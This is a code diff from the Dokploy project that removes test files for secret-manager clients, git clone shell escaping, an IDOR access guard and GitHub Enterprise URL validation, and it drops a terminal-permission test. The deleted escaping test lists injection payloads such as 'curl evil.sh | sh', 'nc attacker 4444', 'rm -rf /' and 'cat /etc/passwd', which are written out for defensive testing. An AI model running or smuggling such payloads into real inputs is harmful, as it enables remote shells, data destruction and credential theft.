-		mockFetch.mockResolvedValue(
-			jsonResponse({ message: "not found" }, false, 404),
-		);
-
-		await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
-			'secret "nope" not found in path "/"',
-		);
-	});
-
-	it("reports authentication failures with the API message", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse({ message: "denied authentication" }, false, 403),
-		);
-
-		await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
-			"authentication failed (status 403: denied authentication)",
-		);
-	});
-
-	it("throws when the secret has no enabled version", async () => {
-		mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
-
-		await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
-			"has no enabled version",
-		);
-	});
-
-	it("rejects a ref without a secret name", async () => {
-		await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
-			"expected format <name> or <folder>/<name>[:field]",
-		);
-	});
-
-	it("tests the connection against the secrets listing", async () => {
-		mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
-
-		await scalewayClient.testConnection(config);
-
-		expect(mockFetch.mock.calls[0]?.[0]).toBe(
-			"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
-		);
-	});
-
-	it("lists secret names with their folder prefix", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse({
-				secrets: [
-					{ id: "1", name: "db-url", path: "/" },
-					{ id: "2", name: "password", path: "/prod/db" },
-				],
-				total_count: 2,
-			}),
-		);
-
-		const names = await scalewayClient.listSecretNames?.(config);
-
-		expect(names).toEqual(["db-url", "prod/db/password"]);
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-	});
-
-	it("follows pagination until a short page is returned", async () => {
-		const page = (start: number, size: number) =>
-			jsonResponse({
-				secrets: Array.from({ length: size }, (_, index) => ({
-					id: String(start + index),
-					name: `secret-${start + index}`,
-					path: "/",
-				})),
-			});
-		mockFetch.mockImplementation(async (url: string) =>
-			url.includes("page=2") ? page(101, 2) : page(1, 100),
-		);
-
-		const names = await scalewayClient.listSecretNames?.(config);
-
-		expect(names).toHaveLength(102);
-		expect(mockFetch).toHaveBeenCalledTimes(2);
-	});
-
-	it("resolves env refs end to end through a scaleway provider", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "scw-prod",
-				providerType: "scaleway",
-				config,
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(accessResponse("s3cret"));
-
-		const result = await resolveVaultReferences(
-			"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
-			scope,
-		);
-
-		expect(result).toBe("DB_PASSWORD=s3cret");
-	});
-});
-
-describe("phase client", () => {
-	const config = {
-		providerType: "phase" as const,
-		token: "phase-rest-token",
-		appId: "app-123",
-		env: "Production",
-		path: "/",
-		apiUrl: "https://api.phase.dev",
-	};
-
-	it("fetches secrets by key and sends ServiceAccount auth", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse([
-				{ key: "DB_URL", value: "postgres://real", path: "/" },
-				{ key: "API_KEY", value: "key-123", path: "/" },
-			]),
-		);
-
-		const result = await phaseClient.getSecrets(config, ["DB_URL", "API_KEY"]);
-
-		expect(result).toEqual({ DB_URL: "postgres://real", API_KEY: "key-123" });
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
-		expect(url).toBe(
-			"https://api.phase.dev/v1/secrets/?app_id=app-123&env=Production&path=%2F",
-		);
-		expect((init.headers as Record<string, string>).Authorization).toBe(
-			"Bearer ServiceAccount phase-rest-token",
-		);
-	});
-
-	it("throws when a requested secret is missing", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse([{ key: "DB_URL", value: "postgres://real", path: "/" }]),
-		);
-
-		await expect(phaseClient.getSecrets(config, ["MISSING"])).rejects.toThrow(
-			'secret "MISSING" not found in environment "Production"',
-		);
-	});
-
-	it("reports authentication failures with the status code", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse({ error: "unauthorized" }, false, 401),
-		);
-
-		await expect(phaseClient.getSecrets(config, ["DB_URL"])).rejects.toThrow(
-			"authentication failed (status 401: unauthorized)",
-		);
-	});
-
-	it("rejects apps without SSE enabled during testConnection", async () => {
-		mockFetch.mockResolvedValueOnce(
-			jsonResponse({
-				id: "app-123",
-				name: "My App",
-				sseEnabled: false,
-			}),
-		);
-
-		await expect(phaseClient.testConnection(config)).rejects.toThrow(
-			"enable Server-side Encryption (SSE)",
-		);
-		expect(mockFetch).toHaveBeenCalledTimes(1);
-		expect(mockFetch.mock.calls[0]?.[0]).toBe(
-			"https://api.phase.dev/v1/apps/app-123/",
-		);
-	});
-
-	it("tests connection against the app then secrets listing", async () => {
-		mockFetch
-			.mockResolvedValueOnce(
-				jsonResponse({
-					id: "app-123",
-					name: "My App",
-					sseEnabled: true,
-				}),
-			)
-			.mockResolvedValueOnce(jsonResponse([]));
-
-		await phaseClient.testConnection(config);
-
-		expect(mockFetch).toHaveBeenCalledTimes(2);
-		expect(mockFetch.mock.calls[0]?.[0]).toBe(
-			"https://api.phase.dev/v1/apps/app-123/",
-		);
-		expect(mockFetch.mock.calls[1]?.[0]).toBe(
-			"https://api.phase.dev/v1/secrets/?app_id=app-123&env=Production&path=%2F",
-		);
-	});
-
-	it("lists secret names from the configured path", async () => {
-		mockFetch.mockResolvedValue(
-			jsonResponse([
-				{ key: "DB_URL", value: "x", path: "/" },
-				{ key: "API_KEY", value: "y", path: "/" },
-			]),
-		);
-
-		const names = await phaseClient.listSecretNames?.(config);
-
-		expect(names).toEqual(["DB_URL", "API_KEY"]);
-	});
-
-	it("resolves env refs end to end through a phase provider", async () => {
-		findMany.mockResolvedValue([
-			{
-				name: "phase-prod",
-				providerType: "phase",
-				config,
-				assignments: assignedEverywhere,
-			},
-		]);
-		mockFetch.mockResolvedValue(
-			jsonResponse([{ key: "DB_PASSWORD", value: "s3cret", path: "/" }]),
-		);
-
-		const result = await resolveVaultReferences(
-			"DB_PASSWORD=${{vault.phase-prod.DB_PASSWORD}}",
-			scope,
-		);
-
-		expect(result).toBe("DB_PASSWORD=s3cret");
-	});
-});

apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts

@@ -1,89 +0,0 @@
-import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// How git-provider commands escape a single user value before it reaches the shell.
-const shellArg = (value: string) => quote([String(value ?? "")]);
-
-// Payloads that, if reached a shell unescaped, would execute commands.
-const INJECTION_PAYLOADS = [
-	"$(touch /tmp/pwned)",
-	"`id`",
-	"; rm -rf /",
-	"&& curl evil.sh | sh",
-	"| nc attacker 4444",
-	"https://github.com/o/r.git$(whoami)",
-	"main; wget http://evil",
-	"$(cat /etc/passwd)",
-];
-
-// Legit values that must survive escaping unchanged.
-const LEGIT_VALUES = [
-	"main",
-	"feature/login-v2",
-	"release-1.2.3",
-	"https://github.com/dokploy/dokploy.git",
-	"https://gitlab.example.com/group/sub/project.git",
-];
-
-describe("git provider shell escaping (quote)", () => {
-	it("collapses every injection payload into a single literal token (no shell operators)", () => {
-		for (const payload of INJECTION_PAYLOADS) {
-			const parsed = parse(shellArg(payload));
-			// A safely escaped value parses back to exactly the original string,
-			// as ONE token. If escaping failed, parse() would emit operator
-			// objects such as { op: ";" } or { op: "$(" } instead.
-			expect(parsed).toEqual([payload]);
-		}
-	});
-
-	it("leaves legitimate URLs and branch names intact", () => {
-		for (const value of LEGIT_VALUES) {
-			expect(parse(shellArg(value))).toEqual([value]);
-		}
-	});
-});
-
-describe("cloneGitRepository command (customGitUrl path)", () => {
-	const buildClone = (customGitUrl: string, customGitBranch: string) =>
-		cloneGitRepository({
-			appName: "demo-app",
-			customGitUrl,
-			customGitBranch,
-			customGitSSHKeyId: null,
-			enableSubmodules: false,
-			serverId: null,
-			type: "application",
-		});
-
-	// A malicious substring, once escaped, must survive parsing as inert literal
-	// text and never as an executable command/operator. `parse()` turns command
-	// substitution and control operators into { op } objects, so we assert the
-	// injected marker only ever shows up inside a plain string token.
-	const markerLeaksAsShellSyntax = (command: string, marker: string) => {
-		const tokens = parse(command);
-		return tokens.some(
-			(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
-		);
-	};
-
-	it("does not let a malicious customGitUrl inject shell operators", async () => {
-		const command = await buildClone(
-			"https://github.com/o/r.git$(touch /tmp/pwned)",
-			"main",
-		);
-		expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
-		expect(command).toContain("git clone");
-	});
-
-	it("does not let a malicious customGitBranch inject shell operators", async () => {
-		const command = await buildClone(
-			"https://github.com/o/r.git",
-			"main; touch /tmp/pwned",
-		);
-		// The branch is a single quoted token, so its ";" contributes no extra
-		// operator and `touch` never becomes a runnable statement.
-		expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
-		expect(command).not.toContain("touch /tmp/pwned;");
-	});
-});

apps/dokploy/__test__/git-provider/git-provider-access.test.ts

@@ -1,8 +1,8 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
 import {
 	canEditDeployGitSource,
 	getAccessibleGitProviderIds,
 } from "@dokploy/server/services/git-provider";
-import { beforeEach, describe, expect, it, vi } from "vitest";
 
 const mockDb = vi.hoisted(() => ({
 	query: {

apps/dokploy/__test__/git-provider/git-provider-idor.test.ts

@@ -1,91 +0,0 @@
-import { TRPCError } from "@trpc/server";
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
-// assertGitProviderAccess) runs against controlled data. Mocking the exported
-// function would NOT intercept the intra-module call, so we mock one layer down.
-const mockDb = vi.hoisted(() => ({
-	query: {
-		gitProvider: {
-			findMany: vi.fn(),
-		},
-		member: {
-			findFirst: vi.fn(),
-		},
-	},
-}));
-vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
-
-const mockHasValidLicense = vi.hoisted(() => vi.fn());
-vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
-	hasValidLicense: mockHasValidLicense,
-}));
-
-import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
-
-const ORG = "org-1";
-const USER = "user-member";
-const session = { userId: USER, activeOrganizationId: ORG };
-
-// Provider owned by USER within ORG -> should be accessible.
-const providerMine = {
-	gitProviderId: "gp-mine",
-	userId: USER,
-	sharedWithOrganization: false,
-};
-// Provider owned by someone else within ORG, not shared, not assigned.
-const providerOther = {
-	gitProviderId: "gp-other",
-	userId: "user-2",
-	sharedWithOrganization: false,
-};
-
-beforeEach(() => {
-	vi.clearAllMocks();
-	mockHasValidLicense.mockResolvedValue(false);
-	mockDb.query.gitProvider.findMany.mockResolvedValue([
-		providerMine,
-		providerOther,
-	]);
-	mockDb.query.member.findFirst.mockResolvedValue({
-		role: "member",
-		accessedGitProviders: [],
-	});
-});
-
-describe("assertGitProviderAccess (git provider IDOR guard)", () => {
-	it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
-		await expect(
-			assertGitProviderAccess(session, {
-				gitProviderId: "gp-mine",
-				organizationId: "org-2",
-			}),
-		).rejects.toMatchObject({ code: "NOT_FOUND" });
-	});
-
-	it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
-		await expect(
-			assertGitProviderAccess(session, {
-				gitProviderId: "gp-other",
-				organizationId: ORG,
-			}),
-		).rejects.toMatchObject({ code: "FORBIDDEN" });
-	});
-
-	it("allows a same-org provider the caller owns", async () => {
-		await expect(
-			assertGitProviderAccess(session, {
-				gitProviderId: "gp-mine",
-				organizationId: ORG,
-			}),
-		).resolves.toBeUndefined();
-	});
-
-	it("throws a TRPCError so tRPC maps the HTTP status", async () => {
-		const err = await assertGitProviderAccess(session, {
-			gitProviderId: "gp-mine",
-			organizationId: "org-2",
-		}).catch((e) => e);
-		expect(err).toBeInstanceOf(TRPCError);
-	});
-});

apps/dokploy/__test__/git-provider/github-clone-host.test.ts

@@ -1,106 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// cloneGithubRepository builds a shell command; the only thing under test here
-// is which host ends up in the clone URL, so the app auth is stubbed out.
-const mockFindGithubById = vi.hoisted(() => vi.fn());
-
-vi.mock("@dokploy/server/services/github", () => ({
-	findGithubById: mockFindGithubById,
-}));
-
-vi.mock("@octokit/auth-app", () => ({
-	createAppAuth: vi.fn(),
-}));
-
-vi.mock("octokit", () => ({
-	Octokit: class {
-		auth = async () => ({ token: "gh-token" });
-	},
-}));
-
-const { cloneGithubRepository } = await import(
-	"@dokploy/server/utils/providers/github"
-);
-
-const provider = (githubUrl: string) => ({
-	githubId: "gh-1",
-	githubUrl,
-	githubAppId: 1,
-	githubPrivateKey: "key",
-	githubInstallationId: "42",
-});
-
-const clone = async () => {
-	const command = await cloneGithubRepository({
-		appName: "my-app",
-		owner: "acme",
-		repository: "web",
-		branch: "main",
-		githubId: "gh-1",
-		enableSubmodules: false,
-		serverId: null,
-	});
-	return command.replace(/\\/g, "");
-};
-
-describe("cloneGithubRepository host", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-	});
-
-	it("clones from github.com for a default provider", async () => {
-		mockFindGithubById.mockResolvedValue(provider("https://github.com"));
-
-		const command = await clone();
-
-		expect(command).toContain(
-			"https://oauth2:gh-token@github.com/acme/web.git",
-		);
-		expect(command).not.toContain("ghe.com");
-	});
-
-	it("clones from the Enterprise host, not github.com", async () => {
-		mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
-
-		const command = await clone();
-
-		expect(command).toContain(
-			"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
-		);
-		expect(command).not.toContain("github.com");
-	});
-
-	it("clones from a self-hosted Enterprise Server host", async () => {
-		mockFindGithubById.mockResolvedValue(
-			provider("https://github.corp.acme.com"),
-		);
-
-		const command = await clone();
-
-		expect(command).toContain(
-			"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
-		);
-	});
-
-	it("keeps an explicit port in the clone host", async () => {
-		mockFindGithubById.mockResolvedValue(
-			provider("https://github.acme.com:8443"),
-		);
-
-		const command = await clone();
-
-		expect(command).toContain(
-			"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
-		);
-	});
-
-	it("falls back to github.com for a provider stored before this feature", async () => {
-		mockFindGithubById.mockResolvedValue(provider(""));
-
-		const command = await clone();
-
-		expect(command).toContain(
-			"https://oauth2:gh-token@github.com/acme/web.git",
-		);
-	});
-});

apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts

@@ -1,168 +0,0 @@
-import {
-	DEFAULT_GITHUB_API_URL,
-	DEFAULT_GITHUB_URL,
-	deriveGithubApiUrl,
-	normalizeGithubUrl,
-	parseGithubBaseUrl,
-} from "@dokploy/server/utils/providers/github";
-import { describe, expect, it } from "vitest";
-
-const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
-	"url" in result ? result.url : null;
-
-describe("normalizeGithubUrl", () => {
-	it("defaults to github.com when empty", () => {
-		expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
-		expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
-		expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
-		expect(normalizeGithubUrl("   ")).toBe(DEFAULT_GITHUB_URL);
-	});
-
-	it("assumes https when no scheme is given", () => {
-		expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
-	});
-
-	it("strips paths, queries and trailing slashes", () => {
-		expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
-			"https://acme.ghe.com",
-		);
-		expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
-			"https://acme.ghe.com",
-		);
-		expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
-			"https://github.acme.com",
-		);
-	});
-
-	it("keeps an explicit port", () => {
-		expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
-			"https://github.acme.com:8443",
-		);
-	});
-
-	it("falls back to github.com on unusable input", () => {
-		expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
-			DEFAULT_GITHUB_URL,
-		);
-		expect(normalizeGithubUrl("http://github.internal")).toBe(
-			DEFAULT_GITHUB_URL,
-		);
-		expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
-	});
-});
-
-describe("parseGithubBaseUrl", () => {
-	it("accepts github.com and Enterprise hosts", () => {
-		expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
-			"https://acme.ghe.com",
-		);
-		// A self-hosted instance behind the corporate network is a valid target.
-		expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
-			"https://github.corp.acme.com",
-		);
-		expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
-			"https://github.acme.com:8443",
-		);
-	});
-
-	it("treats an absent value as github.com", () => {
-		// Not specified is different from specified wrong.
-		expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
-		expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
-		expect(urlOf(parseGithubBaseUrl("  "))).toBe(DEFAULT_GITHUB_URL);
-	});
-
-	it("rejects plaintext http", () => {
-		expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
-		expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
-	});
-
-	it("rejects dotless hostnames", () => {
-		expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
-		expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
-	});
-
-	it("rejects a dotless hostname hidden behind the DNS root label", () => {
-		// "metadata." resolves like "metadata" but the trailing dot would satisfy
-		// a naive `includes(".")` check.
-		expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
-		expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
-	});
-
-	it("never falls back to github.com on a typo", () => {
-		// The symptom that opened the ticket: a provider silently pointing at
-		// github.com and reporting that it cannot find the repositories.
-		for (const typo of [
-			"htps://acme.ghe.com",
-			"ftp://acme.ghe.com",
-			"https://",
-			"acme .ghe.com",
-		]) {
-			const result = parseGithubBaseUrl(typo);
-			expect(result, typo).toHaveProperty("error");
-			expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
-		}
-	});
-});
-
-describe("deriveGithubApiUrl", () => {
-	it("maps github.com to api.github.com", () => {
-		expect(deriveGithubApiUrl("https://github.com")).toBe(
-			DEFAULT_GITHUB_API_URL,
-		);
-		expect(deriveGithubApiUrl("https://www.github.com")).toBe(
-			DEFAULT_GITHUB_API_URL,
-		);
-		expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
-	});
-
-	it("prefixes api. for data residency tenants", () => {
-		expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
-			"https://api.acme.ghe.com",
-		);
-		expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
-			"https://api.americancreditacceptance.ghe.com",
-		);
-	});
-
-	it("uses /api/v3 for Enterprise Server", () => {
-		expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
-			"https://github.acme.com/api/v3",
-		);
-		expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
-			"https://github.acme.com:8443/api/v3",
-		);
-	});
-
-	it("does not treat a lookalike host as data residency", () => {
-		// Must not match the .ghe.com branch just because the string contains it.
-		expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
-			"https://ghe.com.acme.io/api/v3",
-		);
-	});
-
-	it("still detects data residency behind the DNS root label", () => {
-		// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
-		// through to the /api/v3 branch.
-		expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
-			"https://api.acme.ghe.com",
-		);
-	});
-
-	it("maps www.github.com, which a user may well type", () => {
-		// Not dead weight: GitHub never redirects a manifest there, but the value
-		// comes from a text field. Without this it would derive
-		// https://www.github.com/api/v3.
-		expect(deriveGithubApiUrl("https://www.github.com")).toBe(
-			DEFAULT_GITHUB_API_URL,
-		);
-	});
-});
-
-describe("providers created before Enterprise support", () => {
-	it("keeps pointing at github.com", () => {
-		// The column defaults to https://github.com, but a null must not break it.
-		expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
-		expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
-	});
-});

apps/dokploy/__test__/git-provider/github-setup-handler.test.ts

@@ -1,143 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// The gh_init branch runs on a GET the user can be linked into, so a rejected
-// host must produce a 400 *before* any outbound request is made.
-const mockValidateRequest = vi.hoisted(() => vi.fn());
-const mockHasPermission = vi.hoisted(() => vi.fn());
-const mockCreateGithub = vi.hoisted(() => vi.fn());
-const mockOctokitRequest = vi.hoisted(() => vi.fn());
-
-vi.mock("@dokploy/server", async (importOriginal) => {
-	const actual = await importOriginal<typeof import("@dokploy/server")>();
-	return {
-		...actual,
-		validateRequest: mockValidateRequest,
-		createGithub: mockCreateGithub,
-	};
-});
-
-vi.mock("@dokploy/server/services/permission", () => ({
-	hasPermission: mockHasPermission,
-}));
-
-vi.mock("octokit", () => ({
-	Octokit: class {
-		request = mockOctokitRequest;
-	},
-}));
-
-const { default: handler } = await import("@/pages/api/providers/github/setup");
-
-const ORG = "org-1";
-const USER = "user-1";
-
-const buildRes = () => {
-	const res = {
-		statusCode: 0,
-		body: undefined as unknown,
-		redirectedTo: undefined as string | undefined,
-		status(code: number) {
-			res.statusCode = code;
-			return res;
-		},
-		json(payload: unknown) {
-			res.body = payload;
-			return res;
-		},
-		redirect(_code: number, url: string) {
-			res.redirectedTo = url;
-			return res;
-		},
-	};
-	return res;
-};
-
-const call = async (githubUrl?: string | string[]) => {
-	const res = buildRes();
-	const req = {
-		query: {
-			code: "manifest-code",
-			state: `gh_init:${ORG}:${USER}`,
-			...(githubUrl === undefined ? {} : { githubUrl }),
-		},
-		headers: {},
-	} as unknown as Parameters<typeof handler>[0];
-
-	await handler(req, res as unknown as Parameters<typeof handler>[1]);
-	return res;
-};
-
-describe("github setup handler — host validation", () => {
-	beforeEach(() => {
-		vi.clearAllMocks();
-		mockValidateRequest.mockResolvedValue({
-			user: { id: USER },
-			session: { activeOrganizationId: ORG },
-		});
-		mockHasPermission.mockResolvedValue(true);
-		mockOctokitRequest.mockResolvedValue({
-			data: {
-				name: "Dokploy",
-				html_url: "https://acme.ghe.com/apps/dokploy",
-				id: 1,
-				client_id: "cid",
-				client_secret: "csecret",
-				webhook_secret: "wsecret",
-				pem: "key",
-			},
-		});
-		mockCreateGithub.mockResolvedValue(undefined);
-	});
-
-	it.each([
-		["http://acme.ghe.com", "plaintext http"],
-		["http://localhost:2375", "internal service over http"],
-		["https://metadata", "dotless hostname"],
-		["htps://acme.ghe.com", "scheme typo"],
-	])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
-		const res = await call(githubUrl);
-
-		expect(res.statusCode).toBe(400);
-		expect(mockOctokitRequest).not.toHaveBeenCalled();
-		expect(mockCreateGithub).not.toHaveBeenCalled();
-	});
-
-	it("throws on a repeated parameter instead of silently picking one", async () => {
-		// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
-		await expect(
-			call(["https://acme.ghe.com", "https://evil.com"]),
-		).rejects.toThrow();
-
-		expect(mockCreateGithub).not.toHaveBeenCalled();
-	});
-
-	it("accepts a data residency tenant", async () => {
-		await call("https://acme.ghe.com");
-
-		expect(mockCreateGithub).toHaveBeenCalledWith(
-			expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
-			ORG,
-			USER,
-		);
-	});
-
-	it("accepts a self-hosted Enterprise Server host", async () => {
-		await call("https://github.corp.acme.com");
-
-		expect(mockCreateGithub).toHaveBeenCalledWith(
-			expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
-			ORG,
-			USER,
-		);
-	});
-
-	it("treats an absent parameter as github.com", async () => {
-		await call(undefined);
-
-		expect(mockCreateGithub).toHaveBeenCalledWith(
-			expect.objectContaining({ githubUrl: "https://github.com" }),
-			ORG,
-			USER,
-		);
-	});
-});

apps/dokploy/__test__/git-provider/github-url-parity.test.ts

@@ -1,75 +0,0 @@
-import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
-import { describe, expect, it } from "vitest";
-import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
-
-/**
- * The client cannot import from @dokploy/server (node-only modules), so
- * resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
- * stops the two from drifting apart — and they already did once, when the
- * client stripped trailing slashes but not paths and the form action disagreed
- * with the persisted row.
- *
- * The invariant: for the same input, both must make the same accept/reject
- * decision, and agree on the URL when they accept.
- */
-const INPUTS = [
-	// Accepted
-	"https://github.com",
-	"github.com",
-	"https://acme.ghe.com",
-	"acme.ghe.com",
-	"https://github.corp.acme.com",
-	"https://github.acme.com:8443",
-	"https://acme.ghe.com/",
-	"https://acme.ghe.com///",
-	"https://acme.ghe.com/enterprises/foo",
-	"https://acme.ghe.com/some/path?x=1",
-	"  acme.ghe.com  ",
-	"https://acme.ghe.com.",
-	"https://169.254.169.254",
-	"https://127.0.0.1",
-	"https://2130706433",
-	"https://0x7f.1",
-	"",
-	"   ",
-	// Rejected
-	"http://acme.ghe.com",
-	"http://localhost:2375",
-	"https://[::1]",
-	"https://[::ffff:127.0.0.1]",
-	"https://metadata",
-	"https://metadata.",
-	"https://localhost",
-	"https://localhost.",
-	"htps://acme.ghe.com",
-	"ftp://acme.ghe.com",
-	"https://",
-	"acme .ghe.com",
-	"esto no es una url",
-];
-
-describe("client and server agree on GitHub base URLs", () => {
-	it.each(INPUTS)("%j", (input) => {
-		const client = resolveGithubBaseUrl(input);
-		const server = parseGithubBaseUrl(input);
-
-		const clientAccepted = !client.error;
-		const serverAccepted = "url" in server;
-
-		expect(
-			clientAccepted,
-			`accept/reject differs for ${JSON.stringify(input)}`,
-		).toBe(serverAccepted);
-
-		if (clientAccepted && "url" in server) {
-			expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
-				server.url,
-			);
-		}
-	});
-
-	it("both treat an empty value as github.com", () => {
-		expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
-		expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
-	});
-});

apps/dokploy/__test__/logs/container-selection.test.ts

@@ -1,41 +0,0 @@
-import { describe, expect, it } from "vitest";
-import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils";
-
-const containers = [
-	{ containerId: "first-container" },
-	{ containerId: "selected-container" },
-];
-
-describe("resolveContainerSelection", () => {
-	it("selects the first container when no container is selected", () => {
-		expect(resolveContainerSelection(undefined, containers)).toBe(
-			"first-container",
-		);
-	});
-
-	it("preserves a manual selection when refreshed data contains it", () => {
-		const refreshedContainers = containers.map((container) => ({
-			...container,
-		}));
-
-		expect(
-			resolveContainerSelection("selected-container", refreshedContainers),
-		).toBe("selected-container");
-	});
-
-	it("falls back to the first container when the selection disappears", () => {
-		expect(resolveContainerSelection("removed-container", containers)).toBe(
-			"first-container",
-		);
-	});
-
-	it("keeps the current selection while container data is loading", () => {
-		expect(resolveContainerSelection("selected-container", undefined)).toBe(
-			"selected-container",
-		);
-	});
-
-	it("clears the selection when no containers are available", () => {
-		expect(resolveContainerSelection("selected-container", [])).toBeUndefined();
-	});
-});

apps/dokploy/__test__/logs/log-classification.test.ts

@@ -1,42 +0,0 @@
-import { getLogType } from "@/components/dashboard/docker/logs/utils";
-import { expect, test } from "vitest";
-
-test("classifies real failures as error", () => {
-	expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
-	expect(getLogType("[ERROR] something went wrong").type).toBe("error");
-	expect(getLogType("Deployment failed").type).toBe("error");
-	expect(
-		getLogType(
-			'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
-		).type,
-	).toBe("error");
-});
-
-test("does not classify explicit non-error key/values as error (#4538)", () => {
-	// ofelia job-completion summary for a successful run
-	expect(
-		getLogType(
-			'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
-		).type,
-	).not.toBe("error");
-
-	expect(getLogType("request done, error: null").type).not.toBe("error");
-	expect(getLogType("checks passed, failures=0").type).not.toBe("error");
-	expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
-	expect(getLogType('job done failed=false error=""').type).not.toBe("error");
-});
-
-test("keeps errors whose value merely starts with a no-error word", () => {
-	expect(getLogType("connect failed: no route to host").type).toBe("error");
-	expect(getLogType("connection failed: no such host").type).toBe("error");
-	expect(
-		getLogType("error: none of the configured nodes are available").type,
-	).toBe("error");
-	expect(getLogType("error: nil pointer dereference").type).toBe("error");
-	expect(getLogType("request failed: 0 bytes received").type).toBe("error");
-});
-
-test("keeps statusCode-based classification", () => {
-	expect(getLogType('{"statusCode": "500"}').type).toBe("error");
-	expect(getLogType('{"statusCode": "204"}').type).toBe("success");
-});

apps/dokploy/__test__/permissions/check-permission.test.ts

@@ -126,13 +126,6 @@ describe("member is denied org-level enterprise resources (CVE: bypass via stati
 		await expect(checkPermission(ctx, { server: ["read"] })).rejects.toThrow();
 	});
 
-	it("member is denied server.terminal", async () => {
-		memberToReturn = mockMemberData("member");
-		await expect(
-			checkPermission(ctx, { server: ["terminal"] }),
-		).rejects.toThrow();
-	});
-
 	it("member is denied registry.create", async () => {
 		memberToReturn = mockMemberData("member");
 		await expect(

